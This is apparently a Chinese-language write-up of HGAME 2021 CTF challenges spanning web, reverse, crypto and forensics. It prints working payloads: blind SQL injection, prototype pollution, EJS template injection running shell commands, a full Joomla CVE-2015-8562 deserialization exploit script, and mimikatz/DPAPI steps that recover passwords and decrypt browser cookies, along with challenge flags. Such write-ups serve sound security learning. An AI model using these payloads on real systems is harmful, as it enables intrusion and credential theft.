Contents
web
Unforgettable [450]
整体功能与 week 3 的 Forgetful 相同,但原本的 SSTI 注入点过滤了 {{ }}
、 {% %}
等符号
注册时多了一个邮箱,登录时需要的用户名也改成了邮箱,登录后多了一个 /user 页面可以查看用户信息(用户名等)
经过测试发现用户名存在 SQL 延迟盲注漏洞,可以在登录后通过请求 /user 页面触发,payload 格式为
foobar'&&(if((length(now())>1,benchmark(99999999,sha(1)),0))#
依次爆出库名 todolist、表名 ffflllaagggg、列名 ffllllaaaagg 后即可查出 flag
Flag: hgame{0rm_i5_th3_s0lu7ion}
漫无止境的星期日 [400]
HTML 注释中提示了源码备份 /static/www.zip,是使用 Node.js Express 框架写的网站,审计发现存在原型链污染漏洞
// ...[OMITTED]...
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json()) // 请求可以提交 JSON
// ...[OMITTED]...
app.all('/', (req, res) => {
let data = { name: "", discription: "" }
if (req.ip === "::ffff:127.0.0.1") {
data.crying = true
}
if (req.method == 'POST') {
Object.keys(req.body).forEach((key) => {
if (key !== "crying") { // 可以在请求 JSON 中通过 `__proto__` 键进行原型链污染来绕过
data[key] = req.body[key]
}
})
req.session.crying = data.crying
req.session.name = data.name
req.session.discription = data.discription
return res.redirect(302, '/show');
}
return res.render('loop')
})
// ...[OMITTED]...
提交请求如 {"__proto__": {"crying": true}, "name": "test", "discription": "test"}
即可将 req.session.crying 置为 true,绕过后续 /wish 页的权限控制
// ...[OMITTED]...
app.all('/wish', (req, res) => {
if (!req.session.crying) {
return res.send("forbidden.")
}
if (req.method == 'POST') {
let wishes = req.body.wishes
req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
return res.redirect(302, '/show');
}
return res.render('wish');
})
// ...[OMITTED]...
此处又存在 EJS 的 SSTI 漏洞,提交请求如 wishes=<%- global.process.mainModule.require('child_process').execSync('ls -l /') %>
即可 RCE
flag 文件位于 /flag
Flag: hgame{nOdeJs_Prot0type_ls_fUnny&Ejs_Templ@te_Injection}
joomlaJoomla!!!!! [450]
使用 Joomla 搭建的博客,附件提供了源码,查看 joomla.xml 可知版本为 3.4.5,受 CVE-2015-8562 影响
- 构造客户端 useragent 字符串
- joomla 将 useragent 存储为 session
- 执行 session 合并后进行序列化并将带有 poc 的字符串存入数据 (这里触发 mysql 截断漏洞)
- 客户端发起请求
- 服务端从 mysql 读入数据库并反序列化 session (这里触发 php 反序列化漏洞)
- 执行 poc 并闭合函数
直接使用 POC 失败,下载官方 3.4.5 原版文件后进行 diff,发现 libraries/joomla/session/session.php 中存在两处修复
$ diff -r html Joomla_3.4.5-Stable-Full_Package
Only in html: .htaccess
Only in html: configuration.php
Only in Joomla_3.4.5-Stable-Full_Package: installation
diff -r html/libraries/joomla/session/session.php Joomla_3.4.5-Stable-Full_Package/libraries/joomla/session/session.php
990,993d989
< $pos = strpos($_SERVER['HTTP_X_FORWARDED_FOR'],'|');
< if($pos){
< $_SERVER['HTTP_X_FORWARDED_FOR'] = substr_replace($_SERVER['HTTP_X_FORWARDED_FOR'],'',$pos,strlen('|'));
< }
1021,1024d1016
< $pos = strpos($_SERVER['HTTP_USER_AGENT'],'|');
< if($pos){
< $_SERVER['HTTP_USER_AGENT'] = substr_replace($_SERVER['HTTP_USER_AGENT'],'',$pos,strlen('|'));
< }
由于移除了请求头 UA 中的 |
,导致反序列化攻击失败,但由于只替换了第一处,所以只要提交两个 |
即可绕过
import requests
def php_str_noquotes(data):
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
url = 'http://[REDACTED]:6788/'
r = requests.Session()
r.headers.pop('user-agent')
r.get(url)
php_payload = "var_dump(system('cat /flag'));"
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
payload = rb'''}__test||O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
payload += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload).encode()
payload += rb''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + b'\xf0\xfd\xfd\xfd'
r.get(url, headers={'user-agent': payload})
resp = r.get(url, headers={'user-agent': payload})
print(resp.text)
flag 文件位于 /flag
Flag: hgame{WelCoME~TO-ThIs_Re4Lw0RLD}
reverse
A 5 Second Challenge [400]
使用 Unity 制作的扫雷游戏,每步要在 5 秒内完成
附件中包含了 Managed/AFiveSecondChallenge.dll(游戏逻辑的 C# 源码),和 il2cppOutput 目录(IL2CPP 的输出)两处泄露
使用 dnSpy 或 ilSpy 反编译 AFiveSecondChallenge.dll,发现判断指定坐标是否有雷的 BombChecker.CheckBombAt
方法中的指令全被替换成了 nop
在 il2cppOutput 中查找 CheckBombAt,在 AFiveSecondChallenge.cpp 中找到此方法的 C++ 实现,可以整理为如下逻辑
bool CheckBombAt(Vector2 vec) {
double V_0 = 0.0;
double V_1 = 0.0;
double V_2 = 0.0;
Matrix matrix = get_matrix();
float Y = vec.get_y_1();
float X = vec.get_x_0();
double L_8 = matrix->GetAt(Y, X / 3, 0);
double V_0 = matrix->GetAt(Y, X / 3, 1);
double V_1 = matrix->GetAt(Y, X / 3, 2);
V_2 = fmodf(X, 3.0f) - 1.0f;
return (((((L_8 * V_2) * V_2) + (V_0 * V_2)) + V_1) > 0.0);
}
其中 get_matrix() 载入可以从 dll 中提取的三维数组 matrix
一开始以为要编写脚本自动完成游戏,画出所有雷的位置后可以发现是个二维码,扫码即为 flag
from math import fmod
from PIL import Image, ImageDraw
with open(r'matrix.txt') as f:
matrix = eval(f.read())
def checkBombAt(x, y):
L_8 = matrix[y][x // 3][0]
V_0 = matrix[y][x // 3][1]
V_1 = matrix[y][x // 3][2]
V_2 = fmod(x, 3.0) - 1.0
return (((((L_8 * V_2) * V_2) + (V_0 * V_2)) + V_1) > 0.0)
bombs = []
for x in range(45):
for y in range(45):
if checkBombAt(x, y):
bombs.append((x,y))
im = Image.new('1', (45, 45), 1)
draw = ImageDraw.Draw(im)
draw.point(bombs, fill=0)
im.show()
Flag: hgame{YOU~hEn-duO_yOU-X|~DOU-sHi~un1Ty~k4i-fA_de_O}
crypto
夺宝大冒险 1 [350]
线性同余生成器(LCG),三个 test 依次需要解出增量、乘数、模数
from libnum import invmod, reduce, gcd
from pwn import *
# context.log_level = 'debug'
def crack_unknown_increment(states, modulus, multiplier):
return (states[1] - states[0] * multiplier) % modulus
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * invmod(states[1] - states[0], modulus) % modulus
return multiplier, crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
return abs(reduce(gcd, zeroes))
while True:
io = remote('[REDACTED]', 30641)
try:
# lcg 1
resp = io.recvline()
m, n = resp.strip()[1:-1].split(b', ')
m, n = int(m), int(n)
s0 = int(io.recvline().strip())
s1 = int(io.recvline().strip())
c = crack_unknown_increment([s0, s1], n, m)
io.sendline(str(c))
# lcg 2
n = int(io.recvline().strip())
states = []
for _ in range(3):
states.append(int(io.recvline().strip()))
m, c = crack_unknown_multiplier(states, n)
io.sendline(str(m))
io.sendline(str(c))
# lcg 3
states = []
for _ in range(7):
states.append(int(io.recvline().strip()))
n = crack_unknown_modulus(states)
io.sendline(str(n))
# result
if io.recvline() == b'fail\n':
continue
else:
# flag
print(io.recv())
break
except:
io.close()
continue
参考资料:攻击线性同余生成器 (LCG)
Flag: hgame{Cracking^prng_Linear)Congruential&Generators}
夺宝大冒险 2 [300]
线性反馈移位寄存器(LFSR),猜 100 次随机数,猜错时会显示正确答案,需要猜对至少 80 次才能得到 flag
可以先爆出前 10 次 test 的正确答案,即前 40 个随机数,就可以通过 z3 解出初始值 init
import z3
from pwn import *
from task import LXFIQNN
# context.log_level = 'debug'
def solve_lfsr(results):
length = 40
indexes = [0, 2, 4, 5, 6, 7, 9, 10, 11, 15, 20, 25, 27, 31, 33, 36, 37, 39]
s = z3.Solver()
x = init_recovered = z3.BitVec('x', length)
for result in results:
res = 0
for i in range(len(indexes)):
relevant_bit = init_recovered & (1 << indexes[i])
bit_value = z3.LShR(relevant_bit, indexes[i])
res ^= bit_value
s.add(res == result)
init_recovered = ((init_recovered << 1) & (2 ** (length + 1) - 1)) ^ result
if s.check() == z3.sat:
return int(str(s.model()[x]))
else:
exit(1)
results = []
io = remote('[REDACTED]', 30607)
for _ in range(10): # get the first 40 results
io.recvuntil('guess: ')
io.sendline('114514')
secret = f"{int(io.recvline().rpartition(b' ')[-1]):04b}"
for bit in secret:
results.append(int(bit))
init = solve_lfsr(results)
success(f'init={init:040b}')
prng = LXFIQNN(init, 0b1011001010001010000100001000111011110101, 40)
for _ in range(40): # sync states
prng.next()
for _ in range(90): # answer the rest
io.recvuntil('guess: ')
secret = prng.random(4)
io.sendline(str(secret))
print(io.recvline())
success(io.recvline()) # flag
参考资料:https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/crypto_lfsr
Flag: hgame{lfsr_121a111y^use-in&crypto}
misc
Akira 之瞳 - 1 [350]
Windows 内存取证,通过 volatility 提取
$ volatility -f important_work.raw imageinfo
# ...[OMITTED]...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
# ...[OMITTED]...
$ volatility --plugin=./plugins -f important_work.raw --profile=Win7SP1x64 mimikatz
# ...[OMITTED]...
Module User Domain Password
-------- ---------------- ---------------- ----------------------------------------
wdigest Genga03 HGAME2021 asdqwe123
wdigest HGAME2021$ BANGDREAM
$ volatility -f important_work.raw --profile=Win7SP1x64 pslist
# ...[OMITTED]...
0xfffffa800f263b30 important_work 1092 2232 1 16 1 1 2021-02-18 09:47:15 UTC+0000
# ...[OMITTED]...
$ volatility -f important_work.raw --profile=Win7SP1x64 dumpfiles -p 1092 -D output
# ...[OMITTED]...
DataSectionObject 0xfffffa800f2703d0 1092 \Device\HarddiskVolume1\Users\Genga03\Desktop\work.zip
SharedCacheMap 0xfffffa800f2703d0 1092 \Device\HarddiskVolume1\Users\Genga03\Desktop\work.zip
# ...[OMITTED]...
$ volatility -f important_work.raw --profile=Win7SP1x64 memdump -p 1092 -D output
# ...[OMITTED]...
$ binwalk -e output/1092.dmp
# ...[OMITTED]...
1155104 0x11A020 Zip archive data, at least v2.0 to extract, name: Liz to Aoi Bird/
1155150 0x11A04E Zip archive data, encrypted at least v2.0 to extract, compressed size: 12061353, uncompressed size: 12686717, name: Liz to Aoi Bird/Blind.png
13216558 0xC9AB2E Zip archive data, encrypted at least v2.0 to extract, compressed size: 11383965, uncompressed size: 11408307, name: Liz to Aoi Bird/src.png
# ...[OMITTED]...
查看提取出的压缩包,有注释 “Password is sha256(login_password)”,用用户密码 asdqwe123 的 sha256 hash 解压,得到两张看上去相同的图片:src.png 与 Blind.png,猜测为 PNG 盲水印隐写
使用 chishaxie/BlindWaterMark 提取出隐写的 flag 图像
$ python3 bwmforpy3.py decode src.png Blind.png output.png
image<src.png> + image(encoded)<Blind.png> -> watermark<output.png>
Flag: hgame{7he_f1ame_brin9s_me_end1ess_9rief}
Akira 之瞳 - 2 [400]
Windows 内存取证,附件中除了 dump 文件外还有一个加密的 7z 压缩包
$ volatility -f secret_work.raw imageinfo
# ...[OMITTED]...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
# ...[OMITTED]...
$ volatility --plugin=./plugins -f secret_work.raw --profile=Win7SP1x64 mimikatz
# ...[OMITTED]...
Module User Domain Password
-------- ---------------- ---------------- ----------------------------------------
wdigest Genga03 HGAME2021 vIg*q3x6GFa5aFBA
wdigest HGAME2021$ BANGDREAM
$ volatility -f secret_work.raw --profile=Win7SP1x64 filescan | grep "Genga03"
# ...[OMITTED]...
0x000000007ef94820 2 0 RW-r-- \Device\HarddiskVolume1\Users\Genga03\Desktop\dumpme.txt
# ...[OMITTED]...
$ volatility -f secret_work.raw --profile=Win7SP1x64 dumpfiles -D output -Q 0x000000007ef94820
# ...[OMITTED]...
$ cat output/file.None.0xfffffa801aa35340.dat
zip password is: 5trqES&P43#y&1TO
And you may need LastPass
使用该密码解压 7z,得到一个 DPAPI 的 secrets、一个 VeraCrypt 的 container、一个 Chrome 的 Cookies 数据库
至今不知道为什么说可能要用到 LastPass
使用 mimikatz 通过用户密码取出 masterkey,然后解密 Chrome 保存的 cookies
mimikatz # dpapi::masterkey /in:"secret\S-1-5-21-262715442-3761430816-2198621988-1001\57935170-beab-4565-ba79-2b09570b95a6" /password:vIg*q3x6GFa5aFBA
# ...[OMITTED]...
[masterkey] with password: vIg*q3x6GFa5aFBA (normal user)
key : 3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8
sha1: 8fc9b889a47a7216d5b39c87f8192d84a9eb8c57
mimikatz # dpapi::chrome /in:"secret\Cookies" /unprotected /masterkey:3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8
Host : localhost ( / )
Name : VeraCrypt
Dates : 2/19/2021 7:08:59 AM -> 2/19/2022 7:00:00 AM
* volatile cache: GUID:{57935170-beab-4565-ba79-2b09570b95a6};KeyHash:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57;Key:available
* masterkey : 3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8
Cookie: !bWjAqM2z!iSoJsV*&IRV@*AVI1VrtAb
可见这个 cookie 其实是 VeraCrypt 的密码,在 VeraCrypt 中选择 container 并用该密码挂载,内有一个 ADS.jpg
根据文件名 ADS 提示,猜测可能有 NTFS 交换数据流隐写,使用 AlternateStreamView 扫描挂载的分区即可找到 :flag.txt:$DATA
,导出为 txt 即得 flag
Flag: hgame{Which_0nly_cryin9_3yes_c4n_de5cribe}
0 Comments